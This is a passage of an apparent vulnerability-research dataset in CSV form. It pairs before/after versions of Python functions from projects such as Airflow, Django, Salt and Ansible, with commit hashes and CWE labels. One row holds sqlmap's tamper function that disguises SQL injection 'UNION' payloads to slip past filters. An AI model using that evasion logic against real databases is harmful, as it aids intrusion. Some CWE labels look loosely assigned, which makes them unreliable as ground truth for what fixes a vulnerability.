        orm_dag = DagModel.get_current(root_dag_id)
        if orm_dag and (
                root_dag_id not in self.dags or (
                    dag.last_loaded < (
                    orm_dag.last_expired or datetime(2100, 1, 1)
                )
        )):
            # Reprocessing source file
            found_dags = self.process_file(
                filepath=orm_dag.fileloc, only_if_updated=False)

            if found_dags and dag_id in [dag.dag_id for dag in found_dags]:
                return self.dags[dag_id]
            elif dag_id in self.dags:
                del self.dags[dag_id]
        return self.dags.get(dag_id)",CWE-Unknown,apache/airflow,40fc6f8731547bf0484f33700f5ee758f6c4220f,"def get_dag(self, dag_id):
        """"""
        Gets the DAG out of the dictionary, and refreshes it if expired
        """"""
        # If asking for a known subdag, we want to refresh the parent
        root_dag_id = dag_id
        if dag_id in self.dags:
            dag = self.dags[dag_id]
            if dag.is_subdag:
                root_dag_id = dag.parent_dag.dag_id

        # If the root_dag_id is absent or expired
        orm_dag = DagModel.get_current(root_dag_id)
        if orm_dag and (
                root_dag_id not in self.dags or (
                    dag.last_loaded < (
                    orm_dag.last_expired or datetime(2100, 1, 1)
                )
        )):
            # Reprocessing source file
            found_dags = self.process_file(
                filepath=orm_dag.fileloc, only_if_updated=False)

            if dag_id in [dag.dag_id for dag in found_dags]:
                return self.dags[dag_id]
            elif dag_id in self.dags:
                del self.dags[dag_id]
        return self.dags.get(dag_id)"
,UNKNOWN,UNKNOWN,providers/tests/cncf/kubernetes/operators/test_spark_kubernetes.py,1,"def test_resolve_application_file_real_file(
    create_task_instance_of_operator, tmp_path, use_literal_value, session
):
    application_file = tmp_path / ""test-application-file.yml""
    application_file.write_text(""foo: bar\nspam: egg"")

    application_file = application_file.resolve().as_posix()
    if use_literal_value:
        try:
            from airflow.template.templater import LiteralValue
        except ImportError:
            # Airflow 3.0+
            from airflow.sdk.definitions._internal.templater import LiteralValue

        application_file = LiteralValue(application_file)
    else:
        # Prior Airflow 2.8 workaround was adding whitespace at the end of the filepath
        application_file = f""{application_file} ""

    ti = create_task_instance_of_operator(
        SparkKubernetesOperator,
        application_file=application_file,
        kubernetes_conn_id=""kubernetes_default_kube_config"",
        dag_id=""test_resolve_application_file_real_file"",
        task_id=""test_template_body_templating_task"",
        session=session,
    )
    session.add(ti)
    session.commit()
    ti.render_templates()
    task: SparkKubernetesOperator = ti.task

    assert task.template_body == {""spark"": {""foo"": ""bar"", ""spam"": ""egg""}}",CWE-703,apache/airflow,521410f03cbe776a0fa1f96a5b572a17908cc327,"def test_resolve_application_file_real_file(
    create_task_instance_of_operator, tmp_path, use_literal_value, session
):
    application_file = tmp_path / ""test-application-file.yml""
    application_file.write_text(""foo: bar\nspam: egg"")

    application_file = application_file.resolve().as_posix()
    if use_literal_value:
        try:
            from airflow.template.templater import LiteralValue
        except ImportError:
            # Airflow 3.0+
            from airflow.sdk.definitions.templater import LiteralValue

        application_file = LiteralValue(application_file)
    else:
        # Prior Airflow 2.8 workaround was adding whitespace at the end of the filepath
        application_file = f""{application_file} ""

    ti = create_task_instance_of_operator(
        SparkKubernetesOperator,
        application_file=application_file,
        kubernetes_conn_id=""kubernetes_default_kube_config"",
        dag_id=""test_resolve_application_file_real_file"",
        task_id=""test_template_body_templating_task"",
        session=session,
    )
    session.add(ti)
    session.commit()
    ti.render_templates()
    task: SparkKubernetesOperator = ti.task

    assert task.template_body == {""spark"": {""foo"": ""bar"", ""spam"": ""egg""}}"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/iostream.py,0,"def wrapper():
            self._pending_callbacks -= 1
            try:
                return callback(*args)
            except Exception:
                app_log.error(""Uncaught exception, closing connection."",
                              exc_info=True)
                # Close the socket on an uncaught exception from a user callback
                # (It would eventually get closed when the socket object is
                # gc'd, but we don't want to rely on gc happening before we
                # run out of file descriptors)
                self.close(exc_info=True)
                # Re-raise the exception so that IOLoop.handle_callback_exception
                # can see it and log the error
                raise
            finally:
                self._maybe_add_error_listener()",CWE-Unknown,tornadoweb/tornado,87fa80c9ebd6eda8c1596bed738bdf4fb8df1e67,"def wrapper():
            self._pending_callbacks -= 1
            try:
                callback(*args)
            except Exception:
                app_log.error(""Uncaught exception, closing connection."",
                              exc_info=True)
                # Close the socket on an uncaught exception from a user callback
                # (It would eventually get closed when the socket object is
                # gc'd, but we don't want to rely on gc happening before we
                # run out of file descriptors)
                self.close(exc_info=True)
                # Re-raise the exception so that IOLoop.handle_callback_exception
                # can see it and log the error
                raise
            self._maybe_add_error_listener()"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/bundler/handlers.py,0,"def get(self, path):
        """"""Bundle the given notebook.
        
        Parameters
        ----------
        path: str
            Path to the notebook (path parameter)
        bundler: str
            Bundler ID to use (query parameter)
        """"""
        bundler_id = self.get_query_argument('bundler')
        model = self.contents_manager.get(path=url2path(path))

        try:
            bundler = self.get_bundler(bundler_id)
        except KeyError as e:
            raise web.HTTPError(400, 'Bundler %s not enabled' %
                                bundler_id) from e

        module_name = bundler['module_name']
        try:
            # no-op in python3, decode error in python2
            module_name = str(module_name)
        except UnicodeEncodeError:
            # Encode unicode as utf-8 in python2 else import_item fails
            module_name = module_name.encode('utf-8')
        
        try:
            bundler_mod = import_item(module_name)
        except ImportError as e:
            raise web.HTTPError(500, 'Could not import bundler %s ' %
                                bundler_id) from e

        # Let the bundler respond in any way it sees fit and assume it will
        # finish the request
        yield maybe_future(bundler_mod.bundle(self, model))",,jupyter/notebook,94af525a2c0aaa99311647c6cccf9add07a63033,"def get(self, path):
        """"""Bundle the given notebook.
        
        Parameters
        ----------
        path: str
            Path to the notebook (path parameter)
        bundler: str
            Bundler ID to use (query parameter)
        """"""
        bundler_id = self.get_query_argument('bundler')
        model = self.contents_manager.get(path=url2path(path))

        try:
            bundler = self.get_bundler(bundler_id)
        except KeyError:
            raise web.HTTPError(400, 'Bundler %s not enabled' % bundler_id)
        
        module_name = bundler['module_name']
        try:
            # no-op in python3, decode error in python2
            module_name = str(module_name)
        except UnicodeEncodeError:
            # Encode unicode as utf-8 in python2 else import_item fails
            module_name = module_name.encode('utf-8')
        
        try:
            bundler_mod = import_item(module_name)
        except ImportError:
            raise web.HTTPError(500, 'Could not import bundler %s ' % bundler_id)

        # Let the bundler respond in any way it sees fit and assume it will
        # finish the request
        yield maybe_future(bundler_mod.bundle(self, model))"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/mount.py,0,"def calculate(self):

        mntptr = obj.Object(""Pointer"", offset = self.smap[""mount_hashtable""], vm = self.addr_space)

        mnt_list = obj.Object(theType = ""Array"", offset = mntptr.v(), vm = self.addr_space, targetType = ""list_head"", count = 512)

        # get each list_head out of the array
        for outerlist in mnt_list:

            for vfsmnt in outerlist.list_of_type(""vfsmount"", ""mnt_hash""):
                
                dev_name = vfsmnt.mnt_devname.dereference_as(""String"", length = linux_common.MAX_STRING_LENGTH)

                path = linux_common.do_get_path(vfsmnt.mnt_sb.s_root, vfsmnt.mnt_parent, vfsmnt.mnt_root, vfsmnt)

                if path == []:  
                    continue

                fstype = vfsmnt.mnt_sb.s_type.name.dereference_as(""String"", length = linux_common.MAX_STRING_LENGTH)
                mnt_string = self.calc_mnt_string(vfsmnt)

                if (vfsmnt.mnt_flags & 0x40) or (vfsmnt.mnt_sb.s_flags & 0x1):
                    rr = ""ro""
                else:
                    rr = ""rw""
                
                yield vfsmnt.mnt_sb, dev_name, path, fstype, rr, mnt_string",,volatilityfoundation/volatility,880ba8b0f6a9ec830011583e4517cbdcf211a0e2,"def calculate(self):

        mntptr = obj.Object(""Pointer"", offset = self.smap[""mount_hashtable""], vm = self.addr_space)

        mnt_list = obj.Object(theType = ""Array"", offset = mntptr.v(), vm = self.addr_space, targetType = ""list_head"", count = 512)

        # get each list_head out of the array
        for outerlist in mnt_list:
            for vfsmnt in outerlist.list_of_type(""vfsmount"", ""mnt_hash""):

                dev_name = vfsmnt.mnt_devname.dereference_as(""String"", length = linux_common.MAX_STRING_LENGTH)

                path = linux_common.do_get_path(vfsmnt.mnt_sb.s_root, vfsmnt.mnt_parent, vfsmnt.mnt_root, vfsmnt)

                fstype = vfsmnt.mnt_sb.s_type.name.dereference_as(""String"", length = linux_common.MAX_STRING_LENGTH)
                mnt_string = self.calc_mnt_string(vfsmnt)

                if (vfsmnt.mnt_flags & 0x40) or (vfsmnt.mnt_sb.s_flags & 0x1):
                    rr = ""ro""
                else:
                    rr = ""rw""

                yield vfsmnt.mnt_sb, dev_name, path, fstype, rr, mnt_string"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,tamper/0eunion.py,0,"def tamper(payload, **kwargs):
    """"""
    Replaces instances of <int> UNION with <int>e0UNION

    Requirement:
        * MySQL
        * MsSQL

    Notes:
        * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

    >>> tamper('1 UNION ALL SELECT')
    '1e0UNION ALL SELECT'
    """"""

    return re.sub(r""(?i)(\d+)\s+(UNION )"", r""\g<1>e0\g<2>"", payload) if payload else payload",,sqlmapproject/sqlmap,4d2b890a0a39dd3aed2ea7f7e3a62cc63de804e0,"def tamper(payload, **kwargs):
    """"""
    Replaces instances of <int> UNION with <int>e0UNION

    Requirement:
        * MySQL
        * MsSQL

    Notes:
        * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

    >>> tamper('1 UNION ALL SELECT')
    '1e0UNION ALL SELECT'
    """"""

    return re.sub(r""(\d+)\s+(UNION )"", r""\g<1>e0\g<2>"", payload, re.I) if payload else payload"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/cli/main.py,0,"def _init_extensions():
    from bandit.core import extension_loader as ext_loader
    return ext_loader.MANAGER",UNKNOWN,PyCQA/bandit,a83c53fa7bbdd66f17591b46aae094fb589c29d5,"def _init_extensions():
    from bandit.core import extension_loader as ext_loader
    return ext_loader.MANAGER"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/bases/sensor.py,0,"def execute(self, context: Context) -> Any:
        started_at: datetime.datetime | float

        if self.reschedule:
            ti = context[""ti""]
            first_reschedule_date = ti.get_first_reschedule_date(context)
            started_at = start_date = first_reschedule_date or timezone.utcnow()

            def run_duration() -> float:
                # If we are in reschedule mode, then we have to compute diff
                # based on the time in a DB, so can't use time.monotonic
                return (timezone.utcnow() - start_date).total_seconds()

        else:
            started_at = start_monotonic = time.monotonic()

            def run_duration() -> float:
                return time.monotonic() - start_monotonic

        poke_count = 1

        xcom_value = None
        while True:
            try:
                poke_return = self.poke(context)
            except (
                AirflowSensorTimeout,
                AirflowTaskTimeout,
                AirflowFailException,
            ) as e:
                if self.soft_fail:
                    raise AirflowSkipException(""Skipping due to soft_fail is set to True."") from e
                if self.never_fail:
                    raise AirflowSkipException(""Skipping due to never_fail is set to True."") from e
                raise e
            except AirflowSkipException as e:
                raise e
            except Exception as e:
                if self.silent_fail:
                    self.log.error(""Sensor poke failed: \n %s"", traceback.format_exc())
                    poke_return = False
                elif self.never_fail:
                    raise AirflowSkipException(""Skipping due to never_fail is set to True."") from e
                else:
                    raise e

            if poke_return:
                if isinstance(poke_return, PokeReturnValue):
                    xcom_value = poke_return.xcom_value
                break

            if run_duration() > self.timeout:
                # If sensor is in soft fail mode but times out raise AirflowSkipException.
                message = (
                    f""Sensor has timed out; run duration of {run_duration()} seconds exceeds ""
                    f""the specified timeout of {self.timeout}.""
                )

                if self.soft_fail:
                    raise AirflowSkipException(message)
                raise AirflowSensorTimeout(message)
            if self.reschedule:
                next_poke_interval = self._get_next_poke_interval(started_at, run_duration, poke_count)
                reschedule_date = timezone.utcnow() + timedelta(seconds=next_poke_interval)
                raise AirflowRescheduleException(reschedule_date)
            time.sleep(self._get_next_poke_interval(started_at, run_duration, poke_count))
            poke_count += 1
        self.log.info(""Success criteria met. Exiting."")
        return xcom_value",CWE-Unknown,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def execute(self, context: Context) -> Any:
        started_at: datetime.datetime | float

        if self.reschedule:
            ti = context[""ti""]
            first_reschedule_date = ti.get_first_reschedule_date(context)
            started_at = start_date = first_reschedule_date or timezone.utcnow()

            def run_duration() -> float:
                # If we are in reschedule mode, then we have to compute diff
                # based on the time in a DB, so can't use time.monotonic
                return (timezone.utcnow() - start_date).total_seconds()

        else:
            started_at = start_monotonic = time.monotonic()

            def run_duration() -> float:
                return time.monotonic() - start_monotonic

        poke_count = 1

        xcom_value = None
        while True:
            try:
                poke_return = self.poke(context)
            except (
                AirflowSensorTimeout,
                AirflowTaskTimeout,
                AirflowFailException,
            ) as e:
                if self.soft_fail:
                    raise AirflowSkipException(""Skipping due to soft_fail is set to True."") from e
                elif self.never_fail:
                    raise AirflowSkipException(""Skipping due to never_fail is set to True."") from e
                raise e
            except AirflowSkipException as e:
                raise e
            except Exception as e:
                if self.silent_fail:
                    self.log.error(""Sensor poke failed: \n %s"", traceback.format_exc())
                    poke_return = False
                elif self.never_fail:
                    raise AirflowSkipException(""Skipping due to never_fail is set to True."") from e
                else:
                    raise e

            if poke_return:
                if isinstance(poke_return, PokeReturnValue):
                    xcom_value = poke_return.xcom_value
                break

            if run_duration() > self.timeout:
                # If sensor is in soft fail mode but times out raise AirflowSkipException.
                message = (
                    f""Sensor has timed out; run duration of {run_duration()} seconds exceeds ""
                    f""the specified timeout of {self.timeout}.""
                )

                if self.soft_fail:
                    raise AirflowSkipException(message)
                else:
                    raise AirflowSensorTimeout(message)
            if self.reschedule:
                next_poke_interval = self._get_next_poke_interval(started_at, run_duration, poke_count)
                reschedule_date = timezone.utcnow() + timedelta(seconds=next_poke_interval)
                raise AirflowRescheduleException(reschedule_date)
            else:
                time.sleep(self._get_next_poke_interval(started_at, run_duration, poke_count))
                poke_count += 1
        self.log.info(""Success criteria met. Exiting."")
        return xcom_value"
,UNKNOWN,UNKNOWN,pkg/tests/integration/test_ssm.py,1,"def test_ssm_present(install_salt):
    """"""
    The ssm.exe binary needs to be present in both the zip and the exe/msi
    builds
    """"""
    assert os.path.exists(install_salt.ssm_bin)",CWE-703,saltstack/salt,ba29a27ad78228c15319bb7ab81dcc815e6c8b9d,"def test_ssm_present(install_salt):
    """"""
    The ssm.exe binary needs to be present in both the zip and the exe/msi
    builds
    """"""
    ssm_path = os.path.join(*install_salt.binary_paths[""ssm""])
    assert os.path.exists(ssm_path)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/forms/models.py,0,"def add_fields(self, form, index):
        """"""Add a hidden field for the object's primary key.""""""
        from django.db.models import AutoField, OneToOneField, ForeignKey
        self._pk_field = pk = self.model._meta.pk
        # If a pk isn't editable, then it won't be on the form, so we need to
        # add it here so we can tell which object is which when we get the
        # data back. Generally, pk.editable should be false, but for some
        # reason, auto_created pk fields and AutoField's editable attribute is
        # True, so check for that as well.
        def pk_is_not_editable(pk):
            return ((not pk.editable) or (pk.auto_created or isinstance(pk, AutoField))
                or (pk.rel and pk.rel.parent_link and pk_is_not_editable(pk.rel.to._meta.pk)))
        if pk_is_not_editable(pk) or pk.name not in form.fields:
            if form.is_bound:
                pk_value = form.instance.pk
            else:
                try:
                    pk_value = self.get_queryset()[index].pk
                except IndexError:
                    pk_value = None
            if isinstance(pk, OneToOneField) or isinstance(pk, ForeignKey):
                qs = pk.rel.to._default_manager.get_query_set()
            else:
                qs = self.model._default_manager.get_query_set()
            qs = qs.using(form.instance._state.db)
            form.fields[self._pk_field.name] = ModelChoiceField(qs, initial=pk_value, required=False, widget=HiddenInput)
        super(BaseModelFormSet, self).add_fields(form, index)",CWE-Unknown,django/django,e3d8278553bf389f5503d728ed5d9d2763a30b47,"def add_fields(self, form, index):
        """"""Add a hidden field for the object's primary key.""""""
        from django.db.models import AutoField, OneToOneField, ForeignKey
        self._pk_field = pk = self.model._meta.pk
        # If a pk isn't editable, then it won't be on the form, so we need to
        # add it here so we can tell which object is which when we get the
        # data back. Generally, pk.editable should be false, but for some
        # reason, auto_created pk fields and AutoField's editable attribute is
        # True, so check for that as well.
        def pk_is_not_editable(pk):
            return ((not pk.editable) or (pk.auto_created or isinstance(pk, AutoField))
                or (pk.rel and pk.rel.parent_link and pk_is_not_editable(pk.rel.to._meta.pk)))
        if pk_is_not_editable(pk) or pk.name not in form.fields:
            if form.is_bound:
                pk_value = form.instance.pk
            else:
                try:
                    pk_value = self.get_queryset()[index].pk
                except IndexError:
                    pk_value = None
            if isinstance(pk, OneToOneField) or isinstance(pk, ForeignKey):
                qs = pk.rel.to._default_manager.get_query_set()
            else:
                qs = self.model._default_manager.get_query_set()
            form.fields[self._pk_field.name] = ModelChoiceField(qs, initial=pk_value, required=False, widget=HiddenInput)
        super(BaseModelFormSet, self).add_fields(form, index)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/pillar/netbox.py,0,"def ext_pillar(minion_id, pillar, *args, **kwargs):
    '''
    Query NetBox API for minion data
    '''
    if minion_id == '*':
        log.info('There\'s no data to collect from NetBox for the Master')
        return {}
    # Pull settings from kwargs
    api_url = kwargs['api_url'].rstrip('/')
    api_token = kwargs.get('api_token')
    site_details = kwargs.get('site_details', True)
    site_prefixes = kwargs.get('site_prefixes', True)
    proxy_username = kwargs.get('proxy_username', None)
    proxy_return = kwargs.get('proxy_return', True)
    ret = {}

    # Fetch device from API
    headers = {}
    if api_token:
        headers = {
            'Authorization': 'Token {}'.format(api_token)
        }
    device_url = '{api_url}/{app}/{endpoint}'.format(api_url=api_url,
                                                     app='dcim',
                                                     endpoint='devices')
    device_results = salt.utils.http.query(device_url,
                                           params={'name': minion_id},
                                           header_dict=headers,
                                           decode=True)
   # Check status code for API call
    if 'error' in device_results:
        log.error('API query failed for ""%s"", status code: %d',
                  minion_id, device_results['status'])
        log.error(device_results['error'])
        return ret
    # Assign results from API call to ""netbox"" key
    devices = device_results['dict']['results']
    if len(devices) == 1:
        ret['netbox'] = devices[0]
    elif len(devices) > 1:
        log.error('More than one device found for ""%s""', minion_id)
        return ret
    else:
        log.error('Unable to pull NetBox data for ""%s""', minion_id)
        return ret
    site_id = ret['netbox']['site']['id']
    site_name = ret['netbox']['site']['name']
    if site_details:
        log.debug('Retrieving site details for ""%s"" - site %s (ID %d)',
                  minion_id, site_name, site_id)
        site_url = '{api_url}/{app}/{endpoint}/{site_id}/'.format(api_url=api_url,
                                                                  app='dcim',
                                                                  endpoint='sites',
                                                                  site_id=site_id)
        site_details_ret = salt.utils.http.query(site_url,
                                                 header_dict=headers,
                                                 decode=True)
        if 'error' in site_details_ret:
            log.error('Unable to retrieve site details for %s (ID %d)',
                      site_name, site_id)
            log.error('Status code: %d, error: %s',
                      site_details_ret['status'],
                      site_details_ret['error'])
        else:
            ret['netbox']['site'] = site_details_ret['dict']
    if site_prefixes:
        log.debug('Retrieving site prefixes for ""%s"" - site %s (ID %d)',
                  minion_id, site_name, site_id)
        prefixes_url = '{api_url}/{app}/{endpoint}'.format(api_url=api_url,
                                                           app='ipam',
                                                           endpoint='prefixes')
        site_prefixes_ret = salt.utils.http.query(prefixes_url,
                                                  params={'site_id': site_id},
                                                  header_dict=headers,
                                                  decode=True)
        if 'error' in site_prefixes_ret:
            log.error('Unable to retrieve site prefixes for %s (ID %d)',
                      site_name, site_id)
            log.error('Status code: %d, error: %s',
                      site_prefixes_ret['status'],
                      site_prefixes_ret['error'])
        else:
            ret['netbox']['site']['prefixes'] = site_prefixes_ret['dict']['results']
    if proxy_return:
        # Attempt to add ""proxy"" key, based on platform API call
        try:
            # Fetch device from API
            platform_results = salt.utils.http.query(ret['netbox']['platform']['url'],
                                                     header_dict=headers,
                                                     decode=True)
            # Check status code for API call
            if 'error' in platform_results:
                log.info('API query failed for ""%s"": %s',
                         minion_id, platform_results['error'])
            # Assign results from API call to ""proxy"" key if the platform has a
            # napalm_driver defined.
            napalm_driver = platform_results['dict'].get('napalm_driver')
            if napalm_driver:
                ret['proxy'] = {
                    'host': str(ipaddress.IPv4Interface(
                                ret['netbox']['primary_ip4']['address']).ip),
                    'driver': napalm_driver,
                    'proxytype': 'napalm',
                }
                if proxy_username:
                    ret['proxy']['username'] = proxy_username

        except Exception:  # pylint: disable=broad-except
            log.debug(
                'Could not create proxy config data for ""%s""', minion_id)

    return ret",,saltstack/salt,2268427d1f599996d061b6b86acb038c321b39c1,"def ext_pillar(minion_id, pillar, *args, **kwargs):
    '''
    Query NetBox API for minion data
    '''
    if minion_id == '*':
        log.info('There\'s no data to collect from NetBox for the Master')
        return {}
    # Pull settings from kwargs
    api_url = kwargs['api_url'].rstrip('/')
    api_token = kwargs.get('api_token')
    site_details = kwargs.get('site_details', True)
    site_prefixes = kwargs.get('site_prefixes', True)
    proxy_username = kwargs.get('proxy_username', None)
    proxy_return = kwargs.get('proxy_return', True)
    ret = {}

    # Fetch device from API
    headers = {}
    if api_token:
        headers = {
            'Authorization': 'Token {}'.format(api_token)
        }
    device_url = '{api_url}/{app}/{endpoint}'.format(api_url=api_url,
                                                     app='dcim',
                                                     endpoint='devices')
    device_results = salt.utils.http.query(device_url,
                                           params={'name': minion_id},
                                           header_dict=headers,
                                           decode=True)
   # Check status code for API call
    if 'error' in device_results:
        log.error('API query failed for ""%s"", status code: %d',
                  minion_id, device_results['status'])
        log.error(device_results['error'])
        return ret
    # Assign results from API call to ""netbox"" key
    devices = device_results['dict']['results']
    if len(devices) == 1:
        ret['netbox'] = devices[0]
    elif len(devices) > 1:
        log.error('More than one device found for ""%s""', minion_id)
        return ret
    else:
        log.error('Unable to pull NetBox data for ""%s""', minion_id)
        return ret
    site_id = ret['netbox']['site']['id']
    site_name = ret['netbox']['site']['name']
    if site_details:
        log.debug('Retrieving site details for ""%s"" - site %s (ID %d)',
                  minion_id, site_name, site_id)
        site_url = '{api_url}/{app}/{endpoint}/{site_id}/'.format(api_url=api_url,
                                                                  app='dcim',
                                                                  endpoint='sites',
                                                                  site_id=site_id)
        site_details_ret = salt.utils.http.query(site_url,
                                                 header_dict=headers,
                                                 decode=True)
        if 'error' in site_details_ret:
            log.error('Unable to retrieve site details for %s (ID %d)',
                      site_name, site_id)
            log.error('Status code: %d, error: %s',
                      site_details_ret['status'],
                      site_details_ret['error'])
        else:
            ret['netbox']['site'] = site_details_ret['dict']
    if site_prefixes:
        log.debug('Retrieving site prefixes for ""%s"" - site %s (ID %d)',
                  minion_id, site_name, site_id)
        prefixes_url = '{api_url}/{app}/{endpoint}'.format(api_url=api_url,
                                                           app='ipam',
                                                           endpoint='prefixes')
        site_prefixes_ret = salt.utils.http.query(prefixes_url,
                                                  params={'site_id': site_id},
                                                  header_dict=headers,
                                                  decode=True)
        if 'error' in site_prefixes_ret:
            log.error('Unable to retrieve site prefixes for %s (ID %d)',
                      site_name, site_id)
            log.error('Status code: %d, error: %s',
                      site_prefixes_ret['status'],
                      site_prefixes_ret['error'])
        else:
            ret['netbox']['site']['prefixes'] = site_prefixes_ret['dict']['results']
    if proxy_return:
        # Attempt to add ""proxy"" key, based on platform API call
        try:
            # Fetch device from API
            platform_results = salt.utils.http.query(ret['netbox']['platform']['url'],
                                                     header_dict=headers,
                                                     decode=True)
            # Check status code for API call
            if 'error' in platform_results:
                log.info('API query failed for ""%s"": %s',
                         minion_id, platform_results['error'])
            # Assign results from API call to ""proxy"" key if the platform has a
            # napalm_driver defined.
            napalm_driver = platform_results['dict'].get('napalm_driver')
            if napalm_driver:
                ret['proxy'] = {
                    'host': str(ipaddress.IPv4Interface(
                                ret['netbox']['primary_ip4']['address']).ip),
                    'driver': napalm_driver,
                    'proxytype': 'napalm',
                }
                if proxy_username:
                    ret['proxy']['username'] = proxy_username

        except Exception:
            log.debug(
                'Could not create proxy config data for ""%s""', minion_id)

    return ret"
,UNKNOWN,UNKNOWN,lib/ansible/modules/source_control/git.py,1,"def clone(git_path, module, repo, dest, remote, depth, version, bare,
          reference, refspec, verify_commit):
    ''' makes a new git repo if it does not already exist '''

    dest_dirname = os.path.dirname(dest)
    try:
        os.makedirs(dest_dirname)
    except:
        pass
    cmd = [ git_path, 'clone' ]

    if bare:
        cmd.append('--bare')
    else:
        cmd.extend([ '--origin', remote ])
    if depth:
        if version == 'HEAD' \
           or refspec  \
           or is_remote_branch(git_path, module, dest, repo, version) \
           or is_remote_tag(git_path, module, dest, repo, version):
            # only use depth if the remote opject is branch or tag (i.e. fetchable)
            cmd.extend([ '--depth', str(depth) ])
    if reference:
        cmd.extend([ '--reference', str(reference) ])
    cmd.extend([ repo, dest ])
    module.run_command(cmd, check_rc=True, cwd=dest_dirname)
    if bare:
        if remote != 'origin':
            module.run_command([git_path, 'remote', 'add', remote, repo], check_rc=True, cwd=dest)

    if refspec:
        cmd = [git_path, 'fetch']
        if depth:
            cmd.extend([ '--depth', str(depth) ])
        cmd.extend([remote, refspec])
        module.run_command(cmd, check_rc=True, cwd=dest)

    if verify_commit:
        verify_commit_sign(git_path, module, dest, version)",CWE-703,ansible/ansible,2df69fb5d8020d9f25dd2f9ba23960439afb90f0,"def clone(git_path, module, repo, dest, remote, depth, version, bare,
          reference, refspec, verify_commit):
    ''' makes a new git repo if it does not already exist '''

    dest_dirname = os.path.dirname(dest)
    try:
        os.makedirs(dest_dirname)
    except:
        pass
    cmd = [ git_path, 'clone' ]

    branch_or_tag = is_remote_branch(git_path, module, dest, repo, version) \
        or is_remote_tag(git_path, module, dest, repo, version)

    if bare:
        cmd.append('--bare')
    else:
        cmd.extend([ '--origin', remote ])
        if branch_or_tag:
            cmd.extend([ '--branch', version ])
    if depth and (branch_or_tag or version == 'HEAD' or refspec):
        # only use depth if the remote opject is branch or tag (i.e. fetchable)
        cmd.extend([ '--depth', str(depth) ])
    if reference:
        cmd.extend([ '--reference', str(reference) ])
    cmd.extend([ repo, dest ])
    module.run_command(cmd, check_rc=True, cwd=dest_dirname)
    if bare:
        if remote != 'origin':
            module.run_command([git_path, 'remote', 'add', remote, repo], check_rc=True, cwd=dest)

    if refspec:
        cmd = [git_path, 'fetch']
        if depth:
            cmd.extend([ '--depth', str(depth) ])
        cmd.extend([remote, refspec])
        module.run_command(cmd, check_rc=True, cwd=dest)

    if verify_commit:
        verify_commit_sign(git_path, module, dest, version)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/file.py,0,"def flush(self):
        """"""
        Write out any data in the write buffer.  This may do nothing if write
        buffering is not turned on.
        """"""
        self._write_all(self._wbuffer.getvalue())
        self._wbuffer = StringIO()
        return",,paramiko/paramiko,e4e1dc2002d8a0bea1ccb28fa43d5cd5accf5520,"def flush(self):
        """"""
        Write out any data in the write buffer.  This may do nothing if write
        buffering is not turned on.
        """"""
        self._write_all(self._wbuffer.getvalue())
        self._wbuffer = StringIO()
        return"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/hooks/test_cloud_memorystore.py,1,"def test_create_instance_when_not_exists(self, mock_get_conn, mock_project_id):
        mock_get_conn.return_value.get_instance.side_effect = [
            NotFound(""Instance not found""),
            Instance(name=TEST_NAME),
        ]
        mock_get_conn.return_value.create_instance.return_value.result.return_value = Instance(name=TEST_NAME)
        result = self.hook.create_instance(
            location=TEST_LOCATION,
            instance_id=TEST_INSTANCE_ID,
            instance=Instance(name=TEST_NAME),
            retry=TEST_RETRY,
            timeout=TEST_TIMEOUT,
            metadata=TEST_METADATA,
        )
        mock_get_conn.return_value.get_instance.assert_has_calls(
            [
                mock.call(
                    request=dict(name=TEST_NAME_DEFAULT_PROJECT_ID),
                    retry=TEST_RETRY,
                    timeout=TEST_TIMEOUT,
                    metadata=TEST_METADATA,
                ),
                mock.call(
                    request=dict(name=TEST_NAME_DEFAULT_PROJECT_ID),
                    retry=TEST_RETRY,
                    timeout=TEST_TIMEOUT,
                    metadata=TEST_METADATA,
                ),
            ]
        )
        mock_get_conn.return_value.create_instance.assert_called_once_with(
            request=dict(
                parent=TEST_PARENT_DEFAULT_PROJECT_ID,
                instance=Instance(
                    name=TEST_NAME,
                    labels={""airflow-version"": ""v"" + version.version.replace(""."", ""-"").replace(""+"", ""-"")},
                ),
                instance_id=TEST_INSTANCE_ID,
            ),
            metadata=TEST_METADATA,
            retry=TEST_RETRY,
            timeout=TEST_TIMEOUT,
        )
        assert Instance(name=TEST_NAME) == result",CWE-703,apache/airflow,3a2eb961ca628d962ed5fad68760ef3439b2f40b,"def test_create_instance_when_not_exists(self, mock_get_conn, mock_project_id):
        mock_get_conn.return_value.get_instance.side_effect = [
            NotFound(""Instance not found""),
            Instance(name=TEST_NAME),
        ]
        mock_get_conn.return_value.create_instance.return_value.result.return_value = Instance(name=TEST_NAME)
        result = self.hook.create_instance(
            location=TEST_LOCATION,
            instance_id=TEST_INSTANCE_ID,
            instance=Instance(name=TEST_NAME),
            retry=TEST_RETRY,
            timeout=TEST_TIMEOUT,
            metadata=TEST_METADATA,
        )
        mock_get_conn.return_value.get_instance.has_calls(
            [
                mock.call(name=TEST_NAME, retry=TEST_RETRY, timeout=TEST_TIMEOUT, metadata=TEST_METADATA),
                mock.call(name=TEST_NAME, retry=TEST_RETRY, timeout=TEST_TIMEOUT, metadata=TEST_METADATA),
            ]
        )
        mock_get_conn.return_value.create_instance.assert_called_once_with(
            request=dict(
                parent=TEST_PARENT_DEFAULT_PROJECT_ID,
                instance=Instance(
                    name=TEST_NAME,
                    labels={""airflow-version"": ""v"" + version.version.replace(""."", ""-"").replace(""+"", ""-"")},
                ),
                instance_id=TEST_INSTANCE_ID,
            ),
            metadata=TEST_METADATA,
            retry=TEST_RETRY,
            timeout=TEST_TIMEOUT,
        )
        assert Instance(name=TEST_NAME) == result"
